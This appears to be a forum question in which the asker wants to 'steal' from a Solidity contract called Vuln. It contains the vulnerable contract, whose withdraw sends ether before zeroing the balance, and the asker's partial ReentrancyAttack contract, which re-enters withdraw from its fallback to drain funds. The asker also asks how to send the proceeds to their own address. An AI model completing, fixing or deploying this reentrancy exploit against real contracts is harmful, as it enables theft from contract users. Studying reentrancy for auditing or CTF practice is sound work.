How can I steal from Vuln
contract? I have made another contract to try to steal from Vuln
but it always gives me an error. And I'm not sure how to send the money to my adrress.
contract Vuln {
mapping(address => uint256) public balances;
function deposit() public payable {
// Increment their balance with whatever they pay
balances[msg.sender] += msg.value;
}
function withdraw() public {
// Refund their balance
msg.sender.call.value(balances[msg.sender])("");
// Set their balance to 0
balances[msg.sender] = 0;
}
}
contract ReentrancyAttack {
Vuln target = Vuln(/* some addresss */);
uint amount = 500 wei;
uint maxwithdraw = 0;
address payable theif = msg.sender;
function depositamount() public payable{
target.deposit.value(msg.value)();
// target.withdraw();
}
function withdrawamount() public payable{
// target.deposit.value(msg.value)();
target.withdraw();
}
function () external payable{
if (maxwithdraw < 5){
maxwithdraw++;
if (address(target).balance >= amount)
{
target.withdraw();
}
}
}
}